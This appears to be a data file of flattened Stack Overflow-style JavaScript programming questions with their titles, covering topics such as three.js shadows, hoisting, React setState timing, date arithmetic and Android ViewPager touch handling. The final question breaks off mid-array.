THREE.DirectionalLight ( 0xffffff , 1 ) ; directionalLight.target.position = THREE.Vector3 ( 0 , 0 , 0 ) ; directionalLight.position.set ( 250 , 500 , 250 ) ; directionalLight.castShadow = true ; directionalLight.shadowCameraNear = 100 ; directionalLight.shadowCameraFar = 1000 ; directionalLight.shadowMapWidth = 2048 ; directionalLight.shadowMapHeight = 2048 ; directionalLight.shadowBias = 0.0001 ; directionalLight.shadowDarkness = 0.5 ; directionalLight.shadowCameraLeft = -300 ; directionalLight.shadowCameraRight = 300 ; directionalLight.shadowCameraTop = 300 ; directionalLight.shadowCameraBottom = -300 ; directionalLight.shadowCameraVisible = true ; renderer = new THREE.WebGLRenderer ( { antialias : true } ) ; renderer.setClearColor ( 0x222222 ) ; renderer.shadowMapEnabled = true ; renderer.shadowMapSoft = true ; renderer.shadowMapType = THREE.PCFSoftShadowMap ; renderer.setPixelRatio ( window.devicePixelRatio ) ; renderer.setSize ( window.innerWidth , window.innerHeight ) ; var container ; var camera , scene , renderer , controls ; var particleLight ; scene = new THREE.Scene ( ) ; init ( ) ; animate ( ) ; function init ( ) { container = document.createElement ( 'div ' ) ; document.body.appendChild ( container ) ; camera = new THREE.PerspectiveCamera ( 45 , window.innerWidth / window.innerHeight , 1 , 2000 ) ; camera.position.set ( 300 , 100 , 0 ) ; // Controls controls = new THREE.OrbitControls ( camera ) ; // Cube var geometry = new THREE.BoxGeometry ( 100 , 100 , 100 ) ; var material = new THREE.MeshLambertMaterial ( ) ; var cube = new THREE.Mesh ( geometry , material ) ; cube.position.y = 50 ; cube.rotation.y = 0.8 ; cube.castShadow = true ; cube.receiveShadow = true ; scene.add ( cube ) ; // Plane var planeGeometry = new THREE.PlaneBufferGeometry ( 300 , 300 , 300 ) ; var plane = new THREE.Mesh ( planeGeometry , material ) ; plane.position.set ( 0 , 0 , 0 ) ; plane.rotation.x = -1.6 ; plane.castShadow = true ; plane.receiveShadow = true ; scene.add ( plane ) ; // Light var directionalLight = new THREE.DirectionalLight ( 0xffffff , 1 ) ; directionalLight.target.position = THREE.Vector3 ( 0 , 0 , 0 ) ; directionalLight.position.set ( 250 , 500 , 250 ) ; directionalLight.castShadow = true ; directionalLight.shadowCameraNear = 100 ; directionalLight.shadowCameraFar = 1000 ; directionalLight.shadowMapWidth = 2048 ; directionalLight.shadowMapHeight = 2048 ; directionalLight.shadowBias = 0.0001 ; directionalLight.shadowDarkness = 0.5 ; directionalLight.shadowCameraLeft = -300 ; directionalLight.shadowCameraRight = 300 ; directionalLight.shadowCameraTop = 300 ; directionalLight.shadowCameraBottom = -300 ; directionalLight.shadowCameraVisible = true ; scene.add ( directionalLight ) ; scene.add ( new THREE.AmbientLight ( 0x555555 ) ) ; renderer = new THREE.WebGLRenderer ( { antialias : true } ) ; renderer.setClearColor ( 0x222222 ) ; renderer.shadowMapEnabled = true ; renderer.shadowMapSoft = true ; renderer.shadowMapType = THREE.PCFSoftShadowMap ; renderer.setPixelRatio ( window.devicePixelRatio ) ; renderer.setSize ( window.innerWidth , window.innerHeight ) ; container.appendChild ( renderer.domElement ) ; window.addEventListener ( 'resize ' , onWindowResize , false ) ; } function onWindowResize ( ) { camera.aspect = window.innerWidth / window.innerHeight ; camera.updateProjectionMatrix ( ) ; renderer.setSize ( window.innerWidth , window.innerHeight ) ; } function animate ( ) { requestAnimationFrame ( animate ) ; render ( ) ; } var clock = new THREE.Clock ( ) ; function render ( ) { var timer = Date.now ( ) * 0.0005 ; camera.lookAt ( new THREE.Vector3 ( 0 , 0 , 0 ) ) ; renderer.render ( scene , camera ) ; } < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/three.js/r71/three.min.js '' > < /script > < script src= '' http : //threejs.org/examples/js/controls/OrbitControls.js '' > < /script >",Stripped shadows on collada objects "JS : First of all I am new to imacros , I am trying to remove an element from a page using imacro in a random site , for which i have tried to use the javascript which throws me an error of .remove ( ) is not a function . Following is the piece of code which i have been trying : I have also tried it with using .removechild ( ) , so is there any way that I can delete a specific div using imacro with javascript ? Thanking you in advance . var macro = `` '' ; macro += '' SET ! DATASOURCE mobidomains2.csv '' ; macro += '' SET ! DATASOURCE_COLUMNS 1 '' ; macro = '' SAVEAS TYPE=PNG FOLDER=* FILE= { { ! COL1 } } '' ; window.content.document.getElementsByClassName ( `` results-explained '' ) .remove ( ) ; var ret= '' '' ; ret=iimPlay ( macro ) ;",Removing element using imacro "JS : I want to switch tabs when I select one of the options of the current tab . The next tab content does the switch but not the tab itself . I 've followed this example jsfiddle.net/ah97fo5m/.But cant kind of implement with my code . What am I doing wrong here ? Thank you in advance.Here 's the codehttps : //codepen.io/mahirq8/pen/RwNWdRp ? editors=1010 < head > < link rel= '' stylesheet '' href= '' https : //maxcdn.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css '' > < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js '' > < /script > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.0/umd/popper.min.js '' > < /script > < script src= '' https : //maxcdn.bootstrapcdn.com/bootstrap/4.4.1/js/bootstrap.min.js '' > < /script > < /head > < div class= '' modal-body '' id= '' tabs '' > < ul class= '' nav nav-pills mb-3 '' id= '' pills-tab '' role= '' tablist '' > < li class= '' nav-item '' > < a class= '' nav-link active '' id= '' pills-home-tab '' data-toggle= '' pill '' href= '' # pills-home '' role= '' tab '' aria-controls= '' pills-home '' aria-selected= '' true '' > Year < /a > < /li > < li class= '' nav-item '' > < a class= '' nav-link '' id= '' pills-profile-tab '' data-toggle= '' pill '' href= '' # pills-profile '' role= '' tab '' aria-controls= '' pills-profile '' aria-selected= '' false '' > Make < /a > < /li > < li class= '' nav-item '' > < a class= '' nav-link '' id= '' pills-contact-tab '' data-toggle= '' pill '' href= '' # pills-contact '' role= '' tab '' aria-controls= '' pills-contact '' aria-selected= '' false '' > Model < /a > < /li > < li class= '' nav-item '' > < a class= '' nav-link '' id= '' pills-vo-tab '' data-toggle= '' pill '' href= '' # pills-vo '' role= '' tab '' aria-controls= '' pills-vo '' aria-selected= '' false '' > Version/Option < /a > < /li > < ! -- < li class= '' nav-item '' > < a class= '' nav-link '' id= '' pills-location-tab '' data-toggle= '' pill '' href= '' # pills-location '' role= '' tab '' aria-controls= '' pills-location '' aria-selected= '' false '' > Location < /a > < /li > -- > < /ul > < div class= '' tab-content '' id= '' pills-tabContent '' > < div class= '' tab-pane fade show active '' id= '' pills-home '' role= '' tabpanel '' aria-labelledby= '' pills-home-tab '' > < div class= '' d-flex justify-content-center '' > < ul class= '' tire-selector '' > < li > < a data-toggle= '' pill '' href= '' # pills-profile '' class= '' list-group-item nexttab '' > 2020 < /a > < /li > < li > < a data-toggle= '' pill '' href= '' # pills-profile '' class= '' list-group-item nexttab '' > 2019 < /a > < /li > < li > < a data-toggle= '' pill '' href= '' # pills-profile '' class= '' list-group-item nexttab '' > 2018 < /a > < /li > < /ul > < /div > < /div > < div class= '' tab-pane fade '' id= '' pills-profile '' role= '' tabpanel '' aria-labelledby= '' pills-profile-tab '' > < div class= '' d-flex justify-content-center '' > < ul class= '' tire-selector '' > < li > < a href= '' # '' class= '' list-group-item '' > Acura < /a > < /li > < li > < a href= '' # '' class= '' list-group-item '' > Alfa < /a > < /li > < li > < a href= '' # '' class= '' list-group-item '' > Aston < /a > < /li > < li > < a href= '' # '' class= '' list-group-item '' > Audi < /a > < /li > < li > < a href= '' # '' class= '' list-group-item '' > BMW < /a > < /li > < /ul > < /div > < /div > < div class= '' tab-pane fade '' id= '' pills-contact '' role= '' tabpanel '' aria-labelledby= '' pills-contact-tab '' > < div class= '' d-flex justify-content-center '' > < ul class= '' tire-selector '' > < li > < a href= '' # '' class= '' list-group-item '' > Class-XL < /a > < /li > < /ul > < ul class= '' tire-selector '' > < li > < a href= '' # '' class= '' list-group-item '' > Class-C < /a > < /li > < /ul > < ul class= '' tire-selector '' > < li > < a href= '' # '' class= '' list-group-item '' > Class-B < /a > < /li > < /ul > < ul class= '' tire-selector '' > < li > < a href= '' # '' class= '' list-group-item '' > Class-A < /a > < /li > < /ul > < /div > < /div > < div class= '' tab-pane fade '' id= '' pills-vo '' role= '' tabpanel '' aria-labelledby= '' pills-vo-tab '' > < div class= '' d-flex justify-content-center '' > < ul class= '' tire-selector '' > < li > < a href= '' # '' class= '' list-group-item '' > Manual < /a > < /li > < /ul > < ul class= '' tire-selector '' > < li > < a href= '' # '' class= '' list-group-item '' > Auto < /a > < /li > < /ul > < /div > < /div > < ! -- < div class= '' tab-pane fade '' id= '' pills-location '' role= '' tabpanel '' aria-labelledby= '' pills-location-tab '' > < div class= '' d-flex justify-content-center '' > < div class= '' form-inline '' > < div class= '' input-group mx-3 '' > < input type= '' text '' class= '' form-control '' placeholder= '' Full Address or ZIP '' aria-label= '' Full Address or ZIP '' aria-describedby= '' basic-addon2 '' > < div class= '' input-group-append '' > < button class= '' btn btn-outline-primary '' type= '' button '' > Go < /button > < /div > < /div > < span > OR < /span > < button type= '' submit '' class= '' btn btn-primary mx-3 '' > Use Current Location < /button > < /div > < /div > < /div > -- > < /div > < /div > < div class= '' modal-footer '' > < ! -- < button type= '' button '' class= '' btn btn-default '' data-dismiss= '' modal '' > Close < /button > -- > < button type= '' button '' class= '' btn btn-primary a-none '' > < a href= '' { % url 'search ' % } '' > Save & Search < /a > < /button > < /div > $ ( `` # tabs '' ) .tabs ( ) ; $ ( `` .nexttab '' ) .click ( function ( ) { $ ( `` # tabs '' ) .tabs ( `` select '' , this.hash ) ; } ) ; # OR $ ( `` # tabs '' ) .tabs ( ) ; $ ( `` .nexttab '' ) .click ( function ( ) { var selected = $ ( `` # tabs '' ) .tabs ( `` option '' , `` selected '' ) ; $ ( `` # tabs '' ) .tabs ( `` option '' , `` selected '' , selected + 1 ) ; } ) ;",Switching tabs using js with active class "JS : I 've been doing a lot of work in Node JS recently , and it 's emphasis asynchronous modules has me relying on applying the bind function on closures to wrap asynchronous calls within loops ( to preserve the values of variables at function call ) .This got me thinking . When you bind variables to a function , you add passed values to that function 's local scope . So in Node ( or any JS code that refers to out of scope variables often ) , is it advantageous to bind out of scope variables ( such as modules ) to functions so that when used they are part of the local scope ? Example in plain JS : Example in NodeIn my above examples , will func1 or func2 be noticeably faster than the other ( not including outside factors such as how long it takes to get file stats ) ? Here 's a little JSFiddle I threw together that does a quick and dirty benchmark : http : //jsfiddle.net/AExvz/Google Chrome 14.0.797.0 dev-mFunc1 : 2-4msFunc2 : 30-46msGoogle Chrome 14.0.800.0 canaryFunc1 : 2-7msFunc2 : 35-39msFirefox 5.0Func1 : 0-1msFunc2 : 35-42msOpera 11.11 Build 2109Func1 : 21-32msFunc2 : 68-73msSafari 5.05 ( 7533.21.1 ) Func1 : 23-34msFunc2 : 71-78msInternet Explorer 9.0.8112.16421Func1 : 10-17msFunc2 : 14-17msNode 0.4.8 REPLFunc1 : 10msFunc2 : 156ms @ 10x more iterations ( ~15.6ms if both tested with 100000 iterations ) Note : Node 's REPL test is unreliable because it must employ some sort of caching system . After a single benchmark of func1 , func2 returned 0ms . Feel free to contribute your results of a better benchmark . var a = 1 , func1 = function ( b ) { console.log ( a , b ) ; } , func2 = ( function ( a , b ) { console.log ( a , b ) ; } ) .bind ( null , a ) ; //func1 ( 2 ) vs func2 ( 2 ) var fs = require ( 'fs ' ) , func1 = function ( f ) { fs.stat ( f , function ( err , stats ) { } ) ; } , func2 = ( function ( fs , f ) { fs.stat ( f , function ( err , stats ) { } ) ; } ) .bind ( null , fs ) ; //func1 ( 'file.txt ' ) vs func2 ( 'file.txt ' )",Can binding out-of scope variables speed up your code ? "JS : Why ca n't the function compose simply return : and give the proper output . I thought the partial function which is stored in the variable isUndefined already returns func.apply ( null , [ fixed , arguments ] ) function asArray ( quasiArray , start ) { var result = [ ] ; for ( var i = ( start || 0 ) ; i < quasiArray.length ; i++ ) result.push ( quasiArray [ i ] ) ; return result ; } function partial ( func ) { var fixedArgs = asArray ( arguments , 1 ) ; return function ( ) { return func.apply ( null , fixedArgs.concat ( asArray ( arguments ) ) ) ; } ; } function compose ( func1 , func2 ) { return function ( ) { return func1 ( func2.apply ( null , arguments ) ) ; } ; } var isUndefined = partial ( op [ `` === '' ] , undefined ) ; var isDefined = compose ( op [ `` ! `` ] , isUndefined ) ; show ( isDefined ( Math.PI ) ) ; show ( isDefined ( Math.PIE ) ) ; func1 ( func2 ) ; var op = { `` + '' : function ( a , b ) { return a + b ; } , '' == '' : function ( a , b ) { return a == b ; } , '' === '' : function ( a , b ) { return a === b ; } , '' ! `` : function ( a ) { return ! a ; } /* and so on */ } ;",I 'm reading Eloquent Javascript and I am a little confused by this partial function example . Please help explain "JS : I 'm using a lot of these : It already is the `` shorthand '' syntax , but I 'm wondering , whether it 's possible to reduce the above line even further . There must be a better way than checking for $ menu.jqmData ( 'menu-text ' ) and then writing the whole thing again . Is n't there ? Thanks for help ! $ text = $ menu.jqmData ( 'menu-text ' ) ? $ menu.jqmData ( 'menu-text ' ) : self.options.menuTxt ;",how to shorten jquery syntax if-else statement ? "JS : I have a controller that is attached to a route . The controller constantly polls the server using $ timeout . When the route changes , I need to stop polling , and start it again when the route changes back.Please help.Here is my code : ( angular .module ( 'app.controllers ' , [ 'ng ' , 'ngResource ' ] ) .controller ( 'myContr ' , [ /******/ ' $ scope ' , ' $ resource ' , ' $ timeout ' , function ( $ scope , $ resource , $ timeout ) { function update ( ) { $ resource ( 'my-service ' ) .get ( { } , function ( d ) { // ... use data ... $ timeout ( update , UPDATE_INTERVAL ) ; } ) ; } ; update ( ) ; } ] ) ) ;",detect when angularjs route controller goes out of scope ? "JS : I was trying to understand the scope in JavaScript . If I declare a variable outside of a function , it is GLOBAL . Hence I tested the following code to understand sequence of execution . In the following code , I expected the `` demo1 '' to take the global value which is `` Volvo '' since the I render that text before declaring the local variable with the same name inside the function . But to my surprise I see the value to be `` undefined '' .RESULT : VolvoundefinedVolvo1I modified further to see what happens if a declare another Global variable inside the function as follows : RESULT : Volvo1VolvoVolvo1This time the `` demo1 '' assumes the global variable declared outside of the function i.e `` Volvo '' .Can someone explain this to me ? < ! DOCTYPE html > < html > < body > < p id= '' demo '' > < /p > < p id= '' demo1 '' > < /p > < p id= '' demo2 '' > < /p > < script > var carName = `` Volvo '' ; myFunction ( ) ; document.getElementById ( `` demo '' ) .innerHTML = carName ; function myFunction ( ) { document.getElementById ( `` demo1 '' ) .innerHTML = carName ; var carName = `` Volvo1 '' ; document.getElementById ( `` demo2 '' ) .innerHTML = carName ; } < /script > < /body > < /html > < ! DOCTYPE html > < html > < body > < p id= '' demo '' > < /p > < p id= '' demo1 '' > < /p > < p id= '' demo2 '' > < /p > < script > var carName = `` Volvo '' ; myFunction ( ) ; document.getElementById ( `` demo '' ) .innerHTML = carName ; function myFunction ( ) { document.getElementById ( `` demo1 '' ) .innerHTML = carName ; //declaring another global variable carName = `` Volvo1 '' ; document.getElementById ( `` demo2 '' ) .innerHTML = carName ; } < /script > < /body > < /html >",JavaScript scope conflicts "JS : I want to solve Project Euler Problem 1 : If we list all the natural numbers below 10 that are multiples of 3 or 5 , we get 3 , 5 , 6 and 9 . The sum of these multiples is 23.Find the sum of all the multiples of 3 or 5 below 1000.Here 's my code : I compiled it successfully using pdflatex : It generated the following output PDF file along with a bunch of other files with scary extensions : How do I run this PDF file so that it computes the solution ? I know the solution to the problem but I want to know how to execute the PDF file to compute the solution.The reason why I prefer LaTeX over other programming languages is because it supports literate programming , an approach to programming introduced by Donald Knuth , the creator of TeX and one of the greatest computer scientists of all time.Edit : It would also be nice to be able to print the computed solution either on the screen or on paper . Computing the solution without printing it is useful for heating the room but it is so hot already with the onset of summer and global warming . In addition , printing the solution would teach me how to write a hello world program in LaTeX . \documentclass [ 10pt , a4paper ] { article } \usepackage { hyperref } \newcommand*\rfrac [ 2 ] { { } ^ { # 1 } \ ! /_ { # 2 } } \title { Solution to Project Euler Problem 1 } \author { Aadit M Shah } \begin { document } \maketitleWe want to find the sum of all the multiples of 3 or 5 below 1000 . We can use the formula of the $ n^ { th } $ triangular number\footnote { \url { http : //en.wikipedia.org/wiki/Triangular_number } } to calculate the sum of all the multiples of a number $ m $ below 1000 . The formula of the $ n^ { th } $ triangular number is : \begin { equation } T_n = \sum_ { k = 1 } ^n k = 1 + 2 + 3 + \ldots + n = \frac { n ( n + 1 ) } { 2 } \end { equation } If the last multiple of $ m $ below 1000 is $ x $ then $ n = \rfrac { x } { m } $ . The sum of all the multiples of $ m $ below 1000 is therefore : \begin { equation } m \times T_ { \frac { x } { m } } = m \times \sum_ { k = 1 } ^ { \frac { x } { m } } k = \frac { x ( \frac { x } { m } + 1 ) } { 2 } \end { equation } Thus the sum of all the multiples of 3 or 5 below 1000 is equal to : \begin { equation } 3 \times T_ { \frac { 999 } { 3 } } + 5 \times T_ { \frac { 995 } { 5 } } - 15 \times T_ { \frac { 990 } { 15 } } = \frac { 999 \times 334 + 995 \times 200 - 990 \times 67 } { 2 } \end { equation } \end { document } $ pdflatex Problem1.texThis is pdfTeX , Version 3.14159265-2.6-1.40.15 ( TeX Live 2014/Arch Linux ) ( preloaded format=pdflatex ) ... Output written on Problem1.pdf ( 1 page , 106212 bytes ) .Transcript written on Problem1.log .",I successfully compiled my program . Now how do I run it ? "JS : Hey I want to show datalist of specific input on click of button but I can not find how to.HTMLJSI have tried double focus ( ) , focus ( ) and click ( ) and checking on which event datalist show function fires but to no avail . < input type= '' text '' name= '' '' value= '' '' list= '' list '' id='input ' > < datalist id='list ' > < option value= '' aaa '' > < option value= '' bb '' > < /datalist > < div onclick= '' showDataList ( event , 'input ' ) '' > Click < /div > function showDataList ( e , id ) { document.getElementById ( id ) .list.show ( ) }",How to show datalist with javascript ? "JS : I observe a node by simply doingAs you can see I dont have any references to the observer . The observed node will get destroyed at some point.Is the memory for the node and for the observer cleaned up ? Or do they keep themselves alife ? And if so : How can I prevent that from happening ? I do not know when the node gets removed.Ofc I could also observe the parent and disconnect the first observer when the parent has a `` child list changed '' observed but I would like to avoid that new MutationObserver ( callback ) .observe ( shape.node , { attributes : true } )",Is a MutationObserver destroyed when the observed node is destroyed ? "JS : Consider the following code : It 's a self-contradicting line of code . Is x defined or not ? Do implementations of JavaScript remove the variable x from memory , or do they assign it the value undefined ? var x = undefined ;",What happens when you assign undefined in JavaScript ? "JS : I am seeing some odd behavior in a jsperf test . Here is the setup : Then I simply lookup each of the properties q.x , q._x , and q.z.x . The single lookup q.x is faster than the prototype lookup q._x as expected . But the double lookup q.z.x is the fastest . I expected q.z.x to be the slowest , especially when compared to q.x . q.z.x is even faster than q.z . What is going on here ? var pro= { } ; pro._x=3 ; var q=Object.create ( pro ) ; q.x=3 ; q.z= { } ; q.z.x=3 ;",Why is a double lookup faster than a single lookup in javascript ? "JS : Long QuestionTo start , I know ECMA Script is the standard , and JavaScript and JScript are implementations . I understand that all three have their own specifications maintained , and there are many , many engines , interpreters , and implementations , but my specific question is : Assuming the implementation of a perfect interpreter and engine for each of the three , what could you do in one that you could not do in another , or what would have different effects in one than the other two ? I understand it 's a broad question , but as both languages ( JScript & JavaScript ) are derived from the specification ( ECMAScript ) , the practical differences should be negligible.Again , I 'm not talking about cross-browser compatibility ( IE8 & IE9 used different engines that interepreted JScript differently , and standards have changed over time ) , but pure ECMA5 , JavaScript ( if there is an official standard , I guess the closest is W3C or maybe MDN , and JScript ( which is apparently maintained at MSDN ( go figure ) ) .Notes : This is not a duplicate of this question which is five years out of date , and deals with the definition of the terms , not the applications of the languages , or this question which again explains that JavaScript and JScript are dialects of ECMAScript , but does not go into any functional differences.This question is closest , but specifically what I 'm after are technical pitfalls a developer expecting X and getting Y should be wary of . A good example would be from this question where the following code : showed a difference in implementations of JScript , that did not in theory comply with ECMA Standards . // just normal , casual null hanging out in the sunvar nullA = null ; // query for non existing element , should get null , same behaviour also for getElementByIdvar nullB = document.querySelector ( 'asdfasfdf ' ) ; // they are equalconsole.log ( nullA === nullB ) ; // falsenullA instanceof Object ; // will throw 'Object expected ' error in ie8 . Black magicnullB instanceof Object ;","What are the functional differences between JScript , JavaScript , and ECMA Script ?" "JS : Suppose we have a collection of raw data : and we 'd like to transform that collection to : using only mongo ( d ) engine . ( If all person names or ages had equal lengths , $ substr could do the job , ) Is it possible ? Suppose regex is trivial /\d+/ { `` person '' : `` David , age 102 '' } { `` person '' : `` Max , age 8 '' } { `` age '' : 102 } { `` age '' : 8 }",Reshape documents by splitting a field value "JS : How can I get a value of data attribute by part of name ? For example : And suppose , I want to get all data attributes begin with data-pcp- : the result must bedata-pcp-email and data-pcp-order < div data-pcp-email= '' some text '' data-pcp-order= '' some int '' data-ref= '' some data '' > < /div >",find data attribute by part of name "JS : I 'm using Testcafe Vue Selectors to perform e2e testing on my Vue application but it looks like I ca n't grab any of my components : This is a sample test I have created : The structure of my components tree is the following : And I import the component like this : Why is this not working ? EDIT : this is the page where I test the component 1 ) An error occurred in getVue code : TypeError : Can not read property '__vue__ ' of undefined import VueSelector from `` testcafe-vue-selectors '' ; import { Selector } from 'testcafe ' ; fixture ` Getting Started ` .page ` http : //localhost:8081/ ` ; test ( 'test totalValue format ' , async t = > { const totalValue = VueSelector ( `` total-value '' ) ; await t .click ( `` # total-value-toggle-format '' ) .expect ( totalValue.getVue ( ( { props } ) = > props.formatProperty ) ) .eql ( null ) } ) ; Root|___App |___Hello |___TotalValue `` total-value '' : TotalValue , < template > < div class= '' hello '' > < div class= '' component-wrapper '' > < total-value : value= '' totalValueValue '' : formatProperty= '' computedFormatNumber '' > < /total-value > < /div > < /div > < /template > < script > import TotalValue from `` ../../core/TotalValue '' ; export default { name : `` hello '' , components : { `` total-value '' : TotalValue , } , data ( ) { return { totalValueValue : 1000000 , formatNumber : true , formatFunction : Assets.formatNumber , } ; } , computed : { computedFormatNumber ( ) { return this.formatNumber ? [ `` nl '' , `` 0,0 a '' ] : [ ] ; } , } , } ;",Testcafe Vue Selectors ca n't grab Vue component "JS : I am working on an application where all dates used are round GMT dates , e.g . 2015-10-29T00:00:00.000Z.I am using following function to add days to a date : But , I just realized it does n't work when crossing daylight saving time changing day : Outputs this : Note that the two last dates are not round anymore.What is the proper way to deal with this ? function addDays ( date , days ) { var result = new Date ( date ) ; result.setDate ( result.getDate ( ) + days ) ; return result ; } var myDate = new Date ( '2015-10-24T00:00:00.000Z ' ) ; for ( i = 0 ; i < 4 ; i++ ) { console.log ( JSON.stringify ( myDate ) ) ; myDate = addDays ( myDate , 1 ) ; } `` 2015-10-24T00:00:00.000Z '' '' 2015-10-25T00:00:00.000Z '' '' 2015-10-26T01:00:00.000Z '' ^ '' 2015-10-27T01:00:00.000Z '' ^",Add days to a date without changing GMT time JS : There is the following code in the React tutorial : There is also a warning about the setState method : setState ( ) does not always immediately update the component . It may batch or defer the update until later . This makes reading this.state right after calling setState ( ) a potential pitfall.Q : Is the following scenario possible : handleChange is fired ; setState is queued in the React ; handleSubmit is fired and it reads an obsolete value of this.state.value ; setState is actually processed.Or there is some kind of protection preventing such scenario from happening ? class NameForm extends React.Component { constructor ( props ) { super ( props ) ; this.state = { value : `` } ; this.handleChange = this.handleChange.bind ( this ) ; this.handleSubmit = this.handleSubmit.bind ( this ) ; } handleChange ( event ) { this.setState ( { value : event.target.value } ) ; } handleSubmit ( event ) { alert ( ' A name was submitted : ' + this.state.value ) ; event.preventDefault ( ) ; } render ( ) { return ( < form onSubmit= { this.handleSubmit } > < label > Name : < input type= '' text '' value= { this.state.value } onChange= { this.handleChange } / > < /label > < input type= '' submit '' value= '' Submit '' / > < /form > ) ; } },React : potential race condition for Controlled Components "JS : I have a ViewPager that is displaying pages of Fragments . Each Fragment is a WebView that is displaying an offline website . Some of these webviews have javascript swipe events in them to make them work.I would like to implement such that if the webview has no swipe event ( within the javascript ) , then the touch event is passed up to the ViewPager , if not it is consumed by the webview.I have tried overriding the ViewPagers However this prevented the ViewPager from being swipeable ( as expected ) , but also stopped the swipe event reaching the webview , so I have two undesired outcomes.Is there any way of passing the touch event to the webView first then if it is not consumed in the fragment passing it back to the ViewPager ? In case I have made a mistake in my MyViewPager I have the code : } @ Overridepublic boolean onInterceptTouchEvent ( MotionEvent event ) { return ( this.swipeable ) ? super.onInterceptTouchEvent ( event ) : false ; } public class MyViewPager extends ViewPager implements GestureDetector.OnGestureListener { private static final String TAG = MyViewPager.class.getSimpleName ( ) ; private boolean swipeable = true ; private float lastX = 0 ; private long lastTime = 0 ; private GestureDetector mGestureDetector ; private boolean mScrolling = false ; public MyViewPager ( Context context ) { super ( context ) ; mGestureDetector = new GestureDetector ( context , this ) ; } public MyViewPager ( Context context , AttributeSet attrs ) { super ( context , attrs ) ; mGestureDetector = new GestureDetector ( context , this ) ; } public void setSwipeable ( boolean swipeable ) { this.swipeable = swipeable ; } @ Overridepublic boolean onInterceptTouchEvent ( MotionEvent event ) { /* float speed = 0 ; if ( event.getAction ( ) == MotionEvent.ACTION_MOVE ) { if ( lastX ! =0 ) { speed = ( event.getRawX ( ) - lastX ) / ( System.currentTimeMillis ( ) -lastTime ) ; if ( speed < 0.0 ) { speed *=-1 ; } Log.e ( TAG , `` Move at speed - > '' +speed ) ; if ( speed > 0.5 ) { return false ; } } lastX = event.getRawX ( ) ; lastTime = System.currentTimeMillis ( ) ; return true ; } */ // return true ; return ( this.swipeable ) ? super.onInterceptTouchEvent ( event ) : false ; } @ Overridepublic boolean onTouchEvent ( MotionEvent event ) { Log.i ( TAG , `` onTouch event '' ) ; // mGestureDetector.onTouchEvent ( event ) ; return false ; } @ Overridepublic boolean onFling ( MotionEvent e1 , MotionEvent e2 , float velX , float velY ) { Log.i ( TAG , `` flinging '' ) ; return false ; } @ Overridepublic boolean onScroll ( MotionEvent e1 , MotionEvent e2 , float distX , float distY ) { float displacement = distX ; return false ; } // Unused Gesture Detector functions below @ Overridepublic boolean onDown ( MotionEvent event ) { return false ; } @ Overridepublic void onLongPress ( MotionEvent event ) { // we do n't want to do anything on a long press , though you should probably feed this to the page being long-pressed . } @ Overridepublic void onShowPress ( MotionEvent event ) { // we do n't want to show any visual feedback } @ Overridepublic boolean onSingleTapUp ( MotionEvent event ) { // we do n't want to snap to the next page on a tap so ignore this return false ; }",Stop touch event from being intercepted by ViewPager if there is touch event in webview "JS : You 're probably chuckling away . I 'm creating a large map for a Socket.IO based RPG I 'm making . Is this stupid ? I know I can create 2 dimensional arrays using 5 lines with code but I need the array to have different numbers in . For example , 0 = allowed to walk to , 1 = not allowed to walk to . Imagine the numbers to be very varied , 0s , 1s etc.If there is a better way please let me know . Maybe a way to read from a text file or something ? var map = [ [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 